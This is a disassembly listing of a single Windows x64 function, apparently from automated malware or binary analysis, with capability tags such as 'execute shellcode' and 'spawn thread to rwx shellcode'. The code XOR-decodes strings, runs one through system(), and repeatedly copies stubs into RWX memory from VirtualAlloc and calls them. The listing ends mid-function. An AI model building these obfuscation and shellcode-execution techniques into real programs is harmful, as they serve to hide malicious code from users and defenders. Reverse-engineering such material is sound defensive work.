Function at 0x140088290
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute command
Execute shellcode via indirect call
Set console window title
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
mov rax, qword [0x140110040]
xor rax, rsp
mov qword [rbp + 0x28], rax
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
movabs rdi, 0xff00ff00ff00ff07
mov qword [rbp - 8], rdi
lea rcx, [rbp + 0xa8]
mov qword [rbp], rcx
mov rax, qword [rcx]
xor rax, rdi
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x10], rax
mov qword [rcx], r15
call fcn.140072580
call fcn.140071db0
lea rcx, [rbp + 8]
call fcn.140088070
nop
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rdx, qword [rbp + 8]
mov rsi, qword [rbp + 0x18]
add rsi, rdx
lea rbx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rbx, qword [rbp + 8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r15
cmp rbx, rsi
jne 0x140088368
mov eax, 7
mov qword [rbp - 0x18], rax
mov word [rbp - 0x30], r15w
jmp 0x14008847b
sub rsi, rbx
mov edi, 7
mov qword [rbp - 0x18], rdi
movabs rax, 0x7ffffffffffffffe
cmp rsi, rax
ja 0x14008a4af
cmp rsi, rdi
jbe 0x140088431
mov rdi, rsi
or rdi, 7
cmp rdi, rax
jbe 0x1400883ed
mov rdi, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140088422
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14008a4a9
mov rcx, rax
call fcn.1400906a0
mov rcx, rax
test rax, rax
je 0x14008a3d8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x18], rdi
jmp 0x140088435
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14008a4a9
add rcx, rcx
jne 0x1400883ad
mov rax, r15
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x18], rdi
jmp 0x140088435
call fcn.1400906a0
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x18], rdi
jmp 0x140088435
mov rax, qword [rbp - 0x30]
lea r8, [rbp - 0x30]
cmp rdi, 7
cmova r8, rax
mov rcx, r8
mov rdx, rsi
test rsi, rsi
je 0x140088464
nop dword [rax]
movsx eax, byte [rbx]
mov word [rcx], ax
lea rcx, [rcx + 2]
lea rbx, [rbx + 1]
sub rdx, 1
jne 0x140088450
mov qword [rbp - 0x20], rsi
mov word [r8 + rsi*2], r15w
mov rax, qword [rbp - 0x18]
movabs rdi, 0xff00ff00ff00ff07
lea rcx, [rbp - 0x30]
cmp rax, 7
jbe 0x140088489
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x1401039e0]
movsd xmm0, qword [str.vv]
mov dword [rbp - 0x48], eax
movsd qword [rbp - 0x50], xmm0
mov ecx, r15d
movdqa xmm8, xmmword [0x140103fe0]
movdqa xmm10, xmmword [0x140104000]
movdqa xmm9, xmmword [0x140103fc0]
movdqa xmm6, xmmword [0x140104360]
movdqa xmm7, xmmword [0x140103fa0]
mov r12d, dword [0x140110090]
cmp r12d, 2
jl 0x1400885b0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [str.vv]
xorps xmm1, xmm0
movd dword [rbp - 0x50], xmm1
movdqa xmm2, xmmword [0x140103fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm10
movd xmm0, dword [rbp - 0x4c]
xorps xmm2, xmm0
movd dword [rbp - 0x4c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp - 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xc
jl 0x1400885c0
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 8
call fcn.1400906a0
lea rcx, [0x140087e20]
mov qword [rax], rcx
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x78]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140090130]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x80], rax
test rax, rax
je 0x14008a499
cmp dword [rbp - 0x78], 0
je 0x14008a48d
movaps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14008a48d
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x80], xmm0
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rax
mov rbx, qword [rax]
xor rbx, rdi
mov qword [rbp - 0x80], rbx
mov qword [rax], r15
mov ecx, r15d
mov r14d, 3
lea r13, [0x14008e290]
lea rsi, [0x140000000]
mov rax, qword [0x14142d410]
test rax, rax
je 0x1400886d9
nop
cmp rax, r13
je 0x1400886c6
inc ecx
mov rax, qword [rsi + rcx*8 + 0x142d410]
test rax, rax
jne 0x1400886b0
jmp 0x1400886d9
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x142c100]
test r8, r8
jne 0x1400887bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140088702
mov r8, r15
jmp 0x14008879e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140088710
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [rsi + rax*8 + 0x142d410], r13
mov qword [rsi + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [0x140087980]
call r8
nop
xor rbx, rdi
lea rax, [rbp + 0xa8]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x78], rdi
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x70], rax
mov rbx, qword [rax]
xor rbx, rdi
mov qword [rbp - 0x80], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14142d410]
test rax, rax
je 0x140088839
nop dword [rax]
cmp rax, r13
je 0x140088826
inc ecx
mov rax, qword [rsi + rcx*8 + 0x142d410]
test rax, rax
jne 0x140088810
jmp 0x140088839
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x142c100]
test r8, r8
jne 0x14008891f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140088862
mov r8, r15
jmp 0x1400888fe
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140088870
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [rsi + rax*8 + 0x142d410], r13
mov qword [rsi + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [0x140081540]
call r8
nop
xor rbx, rdi
lea rax, [rbp + 0xa8]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rax
mov rbx, qword [rax]
xor rbx, rdi
mov qword [rbp - 0x80], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14142d410]
test rax, rax
je 0x140088999
nop dword [rax]
cmp rax, r13
je 0x140088986
inc ecx
mov rax, qword [rsi + rcx*8 + 0x142d410]
test rax, rax
jne 0x140088970
jmp 0x140088999
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x142c100]
test r8, r8
jne 0x140088a7f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400889c2
mov r8, r15
jmp 0x140088a5e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400889d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [rsi + rax*8 + 0x142d410], r13
mov qword [rsi + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [0x140087010]
call r8
nop
xor rbx, rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rax
xor rbx, rdi
mov qword [rbp - 0x80], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14142d410]
test rax, rax
je 0x140088ae9
nop dword [rax]
cmp rax, r13
je 0x140088ad6
inc ecx
mov rax, qword [rsi + rcx*8 + 0x142d410]
test rax, rax
jne 0x140088ac0
jmp 0x140088ae9
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x142c100]
test r8, r8
jne 0x140088bcf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140088b12
mov r8, r15
jmp 0x140088bae
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140088b20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [rsi + rax*8 + 0x142d410], r13
mov qword [rsi + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [0x14007b700]
call r8
nop
xor rbx, rdi
lea rax, [rbp + 0xa8]
mov qword [rax], rbx
movups xmm0, xmmword [0x140102288]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x140102298]
mov dword [rbp - 0x70], eax
movzx eax, word [0x14010229c]
mov word [rbp - 0x6c], ax
movzx eax, byte [0x14010229e]
mov byte [rbp - 0x6a], al
mov r8d, r15d
cmp r12d, 2
jl 0x140088d23
movdqa xmmword [rbp - 0x50], xmm10
lea rcx, [rbp - 0x80]
mov edx, dword [rbp - 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140088c30
cmp r8d, 0x17
jge 0x140088d63
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140088d30
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], r15
lea rax, [rbp - 0x80]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140088d80
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x50]
call fcn.14008eb40
lea rcx, [rbp - 0x50]
call fcn.140084f70
mov dword [rbp - 0x50], 0xbb8
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea rax, [rbp + 0xa8]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp - 0x78], rcx
mov qword [rbp - 0x70], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x80], rbx
mov qword [rax], r15
mov ecx, r15d
lea rdx, [0x14008e260]
mov rax, qword [0x14142cdc0]
test rax, rax
je 0x140088e19
nop word [rax + rax]
cmp rax, rdx
je 0x140088e06
inc ecx
mov rax, qword [rsi + rcx*8 + 0x142cdc0]
test rax, rax
jne 0x140088df0
jmp 0x140088e19
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x142c760]
test r8, r8
jne 0x140088f01
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x14008e260]
test rax, rax
jne 0x140088e49
mov r8, r15
jmp 0x140088ee0
mov rax, r9
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140088e52
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c758]
mov qword [rsi + rax*8 + 0x142cdc0], r9
mov qword [rsi + rax*8 + 0x142c760], r8
inc rax
mov qword [0x14142c758], rax
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
movabs rcx, 0xff00ff00ff00ff07
xor rbx, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x78], rcx
mov qword [rbp - 0x70], rax
xor rbx, rcx
mov qword [rbp - 0x80], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14142d410]
test rax, rax
je 0x140088f79
nop dword [rax]
cmp rax, r13
je 0x140088f66
inc ecx
mov rax, qword [rsi + rcx*8 + 0x142d410]
test rax, rax
jne 0x140088f50
jmp 0x140088f79
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x142c100]
test r8, r8
jne 0x14008905f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140088fa2
mov r8, r15
jmp 0x14008903e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140088fb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [rsi + rax*8 + 0x142d410], r13
mov qword [rsi + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [fcn.1400722b0]
call r8
nop
movabs rcx, 0xff00ff00ff00ff07
xor rbx, rcx
lea rax, [rbp + 0xa8]
mov qword [rax], rbx
movsd xmm0, qword [str.s_QVBV:]
movsd qword [rbp - 0x50], xmm0
movzx edx, word [0x140102fd0]
mov word [rbp - 0x48], dx
movzx eax, byte [0x140102fd2]
mov byte [rbp - 0x50], 0x43
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor byte [rbp - 0x4c], 0x34
xor byte [rbp - 0x4b], 0x35
xor byte [rbp - 0x4a], 0x36
xor byte [rbp - 0x49], 0x37
xor dl, 0x38
mov byte [rbp - 0x48], dl
xor byte [rbp - 0x47], 0x39
xor al, 0x3a
mov byte [rbp - 0x46], al
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14008cff0
mov rbx, r14
movzx eax, word [0x140101a30]
mov word [rbp - 0x50], ax
cmp byte [0x140101a31], 0
je 0x1400890fe
mov byte [rbp - 0x50], 0x2e
xor byte [rbp - 0x4f], 0x31
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14008cff0
lea rdx, [0x14008ceb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x1400890e2
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0xa8]
movabs rax, 0xff00ff00ff00ff07
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp - 0x80], rbx
mov qword [rcx], r15
mov ecx, r15d
mov rax, qword [0x14142d410]
test rax, rax
je 0x140089199
nop dword [rax + rax]
cmp rax, r13
je 0x140089186
inc ecx
mov rax, qword [rsi + rcx*8 + 0x142d410]
test rax, rax
jne 0x140089170
jmp 0x140089199
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x142c100]
test r8, r8
jne 0x14008927f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400891c2
mov r8, r15
jmp 0x14008925e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400891d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [rsi + rax*8 + 0x142d410], r13
mov qword [rsi + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [0x1400805c0]
call r8
nop
movabs rcx, 0xff00ff00ff00ff07
xor rbx, rcx
lea rax, [rbp + 0xa8]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x78], rcx
